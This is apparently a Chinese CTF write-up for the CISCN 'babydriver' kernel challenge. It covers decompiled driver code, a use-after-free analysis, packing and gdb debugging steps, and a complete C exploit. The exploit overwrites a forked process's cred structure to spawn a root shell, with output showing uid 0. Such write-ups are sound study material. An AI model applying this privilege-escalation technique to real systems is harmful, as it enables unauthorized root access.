# ciscn_babydriver uaf, 修改自身的 cred
# 保护检查:
# qemu
dreamcat@ubuntu:~/Desktop/kernel/babydriver$ cat boot.sh | |
#!/bin/bash | |
qemu-system-x86_64 -initrd fs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 128M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep -s |
没有开启地址随机化以及隔离保护
# 驱动文件
#!/bin/sh | |
mount -t proc none /proc | |
mount -t sysfs none /sys | |
mount -t devtmpfs devtmpfs /dev | |
chown root:root flag | |
chmod 400 flag | |
exec 0</dev/console | |
exec 1>/dev/console | |
exec 2>/dev/console | |
insmod /lib/modules/4.4.72/babydriver.ko | |
chmod 777 /dev/babydev | |
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" | |
setsid cttyhack setuidgid 1000 sh | |
umount /proc | |
umount /sys | |
poweroff -d 0 -f |
在这里我们看到他的驱动的位置是在 /lib/modules/4.4.72/babydriver.ko
dreamcat@ubuntu:~/Desktop/kernel/babydriver/lib/modules/4.4.72$ checksec babydriver.ko | |
[*] '/home/dreamcat/Desktop/kernel/babydriver/lib/modules/4.4.72/babydriver.ko' | |
Arch: amd64-64-little | |
RELRO: No RELRO | |
Stack: No canary found | |
NX: NX enabled | |
PIE: No PIE (0x0) |
# vmlinux
我们提取出来 vmlinux 后,extract-vmlinux bzImage > vmlinux
进行检查,发现保护什么也没有开。
dreamcat@ubuntu:~/Desktop/kernel/babydriver$ checksec vmlinux | |
[*] '/home/dreamcat/Desktop/kernel/babydriver/vmlinux' | |
Arch: amd64-64-little | |
RELRO: No RELRO | |
Stack: No canary found | |
NX: NX disabled | |
PIE: No PIE (0xffffffff81000000) | |
RWX: Has RWX segments |
# 题目分析
这是一道堆题
# init
我们 open 设备的时候,会默认调用这个函数,这里初始化了一些参数
int __cdecl babydriver_init() | |
{ | |
__int64 v0; // rdx | |
int v1; // edx | |
__int64 v2; // rsi | |
__int64 v3; // rdx | |
int v4; // ebx | |
class *v5; // rax | |
__int64 v6; // rdx | |
__int64 v7; // rax | |
if ( (int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 ) | |
{ | |
cdev_init(&cdev_0, &fops); | |
v2 = babydev_no; | |
cdev_0.owner = &_this_module; | |
v4 = cdev_add(&cdev_0, babydev_no, 1LL); | |
if ( v4 >= 0 ) | |
{ | |
v5 = (class *)_class_create(&_this_module, "babydev", &babydev_no); | |
babydev_class = v5; | |
if ( v5 ) | |
{ | |
v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev"); | |
v1 = 0; | |
if ( v7 ) | |
return v1; | |
printk(&unk_351, 0LL, 0LL); | |
class_destroy(babydev_class); | |
} | |
else | |
{ | |
printk(&unk_33B, "babydev", v6); | |
} | |
cdev_del(&cdev_0); | |
} | |
else | |
{ | |
printk(&unk_327, v2, v3); | |
} | |
unregister_chrdev_region(babydev_no, 1LL); | |
return v4; | |
} | |
printk(&unk_309, 0LL, v0); | |
return 1; | |
} |
# exit
同理,我们关闭设备的后会调用这个函数
void __cdecl babydriver_exit() | |
{ | |
device_destroy(babydev_class, babydev_no); | |
class_destroy(babydev_class); | |
cdev_del(&cdev_0); | |
unregister_chrdev_region(babydev_no, 1LL); | |
} |
# babyopen
int __fastcall babyopen(inode *inode, file *filp) | |
{ | |
__int64 v2; // rdx | |
_fentry__(inode, filp); | |
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL); | |
babydev_struct.device_buf_len = 64LL; | |
printk("device open\n", 37748928LL, v2); | |
return 0; | |
} |
申请了一个 buf 空间,大小为 0x40
# babyrelease
int __fastcall babyrelease(inode *inode, file *filp) | |
{ | |
__int64 v2; // rdx | |
_fentry__(inode, filp); | |
kfree(babydev_struct.device_buf); | |
printk("device release\n", filp, v2); | |
return 0; | |
} |
# babyread
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset) | |
{ | |
size_t v4; // rdx | |
ssize_t result; // rax | |
ssize_t v6; // rbx | |
_fentry__(filp, buffer); | |
if ( !babydev_struct.device_buf ) | |
return -1LL; | |
result = -2LL; | |
if ( babydev_struct.device_buf_len > v4 ) | |
{ | |
v6 = v4; | |
copy_to_user(buffer); | |
result = v6; | |
} | |
return result; | |
} |
# babywrite
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset) | |
{ | |
size_t v4; // rdx | |
ssize_t result; // rax | |
ssize_t v6; // rbx | |
_fentry__(filp, buffer); | |
if ( !babydev_struct.device_buf ) | |
return -1LL; | |
result = -2LL; | |
if ( babydev_struct.device_buf_len > v4 ) | |
{ | |
v6 = v4; | |
copy_from_user(); | |
result = v6; | |
} | |
return result; | |
} |
# babyioctl
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg) | |
{ | |
size_t v3; // rdx | |
size_t v4; // rbx | |
__int64 v5; // rdx | |
__int64 result; // rax | |
_fentry__(filp, *(_QWORD *)&command); | |
v4 = v3; | |
if ( command == 65537 ) | |
{ | |
kfree(babydev_struct.device_buf); | |
babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL); | |
babydev_struct.device_buf_len = v4; | |
printk("alloc done\n", 37748928LL, v5); | |
result = 0LL; | |
} | |
else | |
{ | |
printk(&unk_2EB, v3, v3); | |
result = -22LL; | |
} | |
return result; | |
} |
babyioct,会释放原本的 buf,然后重新申请一个,但是不会对空间的数据进行初始化,导致数据的泄露。v4 是一个固定的大下,在 init 中初始化为我蛮传入的第三个参数。
# 漏洞利用
ioctl 存在一个条件竞争,使用同一个全局变量 buf,类似用户态下的 uaf。新的进程会覆盖这个变量,那么我们可以将它释放,然后重新申请出来作为新的东西,但是我们仍旧可对其进行编辑。新的进程会创建 cred, 所以就可以让他将这个空间申请出来,然后我们对其进行编辑。
# 完整的 exp
#include <sys/types.h> | |
#include <stdio.h> | |
#include <linux/userfaultfd.h> | |
#include <pthread.h> | |
#include <errno.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
#include <fcntl.h> | |
#include <signal.h> | |
#include <poll.h> | |
#include <string.h> | |
#include <sys/mman.h> | |
#include <sys/syscall.h> | |
#include <sys/ioctl.h> | |
#include <sys/sem.h> | |
#include <semaphore.h> | |
#include <poll.h> | |
int main(int argc, char const **argv) | |
{ | |
int fd1 = open("dev/babydev",O_RDWR); | |
int fd2 = open("dev/babydev",O_RDWR); | |
char buf[28] = {0}; | |
//alloc a 0xa8 space to create a fake cred | |
printf("ppid %d, pid %d\n",getppid(),getpid()); | |
ioctl(fd1,65537,0xa8); | |
close(fd1); | |
int fpid = fork(); //create a new proc as the same as now | |
printf("fpid is %d\n",fpid); | |
printf("ppid %d, pid %d\n",getppid(),getpid()); | |
if(!fpid) | |
{ | |
printf("ppid %d, pid %d\n",getppid(),getpid()); | |
puts("right"); | |
write(fd2,buf,28); | |
if(getuid()==0) | |
{ | |
puts("welcome!\n"); | |
system("/bin/sh"); | |
return 0; | |
} | |
} | |
else if (fpid<0){ | |
puts("error"); | |
} | |
else{ | |
puts("hello"); | |
wait(NULL); | |
} | |
close(fd2); | |
return 0; | |
} |
fork 会返回两个 id, 这也是 fork 的一个有意的东西,这里其实是一个类似递归的调用,当我们 fork 一个新的进程后,其申请出来的资源与我们的原本进程是几乎一样的,只有部分数据不一样。有一些师傅说,父进程与子进程的实行顺序是不一样的。但是我们预测大部分情况下使直接进入子进程,进入子进程后还会调用 fork,但是此时 fork 返回的是 0,也就是说不会再嵌套下去。
./exp | |
[ 3.998984] device open | |
[ 3.999759] device open | |
ppid 88, pid 90 | |
[ 4.000779] alloc done | |
[ 4.001334] device release | |
fpid is 91 | |
ppid 88, pid 90 | |
hello | |
fpid is 0 | |
ppid 90, pid 91 | |
ppid 90, pid 91 | |
right | |
welcome! | |
/ # id | |
uid=0(root) gid=0(root) groups=1000(ctf) | |
/ # [ 101.861273] device release | |
/ $ [ 104.213209] ACPI: Preparing to enter system sleep state S5 |
一些师傅说,父进程与子进程的执行顺序会受到不同系统决策的影响。
以我的设备为例。我们启动 exp 的进程,pid 为 90,他的父进程的 id 为 88,fork 出来的进程,返回的 id 为 91. 下面进入 fork 了吗?我们看到 pid,和 ppid 没有变,说明我们并没有进入到子进程,当我们的这部分结束后,有直接进入了 fork 里,子进程里又会调用 fork, 但是此时返回的是 0。
# 打包
mkdir File_system | |
cp rootfs.cpio ./File_system/rootfs.cpio.gz | |
cd File_system | |
gunzip rootfs.cpio.gz | |
cpio -idmv < rootfs.cpio |
上面是对文件系统的解包处理,下面的 pack.sh 会将我们写好的 exp 写入,后面启动的时候,我们可以把 pack.sh 写入 boot.sh
pack.sh | |
cd File_system | |
gcc exploit.c -static -o exp | |
find . | cpio -o --format=newc > ../rootfs.cpio | |
cd ../ |
# 调试
我们再启动的脚本里面,对 quem_system_x86_64 启用了人 - s,也就是说我们打开了一个默认的端口。我们也可以指定端口。
提取 vmlinux,需要使用 extract-vmlinux 脚本提取出带符号的源码
./extract-vmlinux ./bzImage > vmlinux |
启动 gdb
gdb ./vmlinux -q | |
导入符号表,这里需要查看模块加载在内存中的真实地址,用boot.sh脚本运行之后输入命令lsmod即可 |
/ $ lsmod | |
babydriver 16384 0 - Live 0xffffffffc0000000 (OE) |
然后在 gdb 中输入
add-symbol-file **/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000 |
两个参数分别为 babydriver.ko 在解包后的文件系统中的路径以及.text 段的地址。地址可以直接在 qemu 中查看:
添加远程执行参数,在 boot.sh 的 qemu 参数中添加
-gdb tcp::7777 |
gdb 连接程序,在 gdb 中执行命令
target remote 127.0.0.1:7777 |
# 相关的结构体
# cred
struct cred { | |
atomic_t usage; | |
#ifdef CONFIG_DEBUG_CREDENTIALS | |
atomic_t subscribers; /* number of processes subscribed */ | |
void *put_addr; | |
unsigned magic; | |
#define CRED_MAGIC 0x43736564 | |
#define CRED_MAGIC_DEAD 0x44656144 | |
#endif | |
kuid_t uid; /* real UID of the task */ | |
kgid_t gid; /* real GID of the task */ | |
kuid_t suid; /* saved UID of the task */ | |
kgid_t sgid; /* saved GID of the task */ | |
kuid_t euid; /* effective UID of the task */ | |
kgid_t egid; /* effective GID of the task */ | |
kuid_t fsuid; /* UID for VFS ops */ | |
kgid_t fsgid; /* GID for VFS ops */ | |
unsigned securebits; /* SUID-less security management */ | |
kernel_cap_t cap_inheritable; /* caps our children can inherit */ | |
kernel_cap_t cap_permitted; /* caps we're permitted */ | |
kernel_cap_t cap_effective; /* caps we can actually use */ | |
kernel_cap_t cap_bset; /* capability bounding set */ | |
kernel_cap_t cap_ambient; /* Ambient capability set */ | |
#ifdef CONFIG_KEYS | |
unsigned char jit_keyring; /* default keyring to attach requested | |
* keys to */ | |
struct key __rcu *session_keyring; /* keyring inherited over fork */ | |
struct key *process_keyring; /* keyring private to this process */ | |
struct key *thread_keyring; /* keyring private to this thread */ | |
struct key *request_key_auth; /* assumed request_key authority */ | |
#endif | |
#ifdef CONFIG_SECURITY | |
void *security; /* subjective LSM security */ | |
#endif | |
struct user_struct *user; /* real user ID subscription */ | |
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ | |
struct group_info *group_info; /* supplementary groups for euid/fsgid */ | |
struct rcu_head rcu; /* RCU deletion hook */ | |
}; | |
// 总大小 0xa8,一直到 gid 结束是 28 个字节 |
# 参考链接
https://blog.csdn.net/m0_38100569/article/details/100673103
https://www.z1r0.top/2021/10/29/kernel-pwn(二)基础知识 /# 实战
# 参考博客
https://www.z1r0.top/
https://arttnba3.cn/
https://ray-cp.github.io/category/ //ray 大佬写的很多知识的总结,很详尽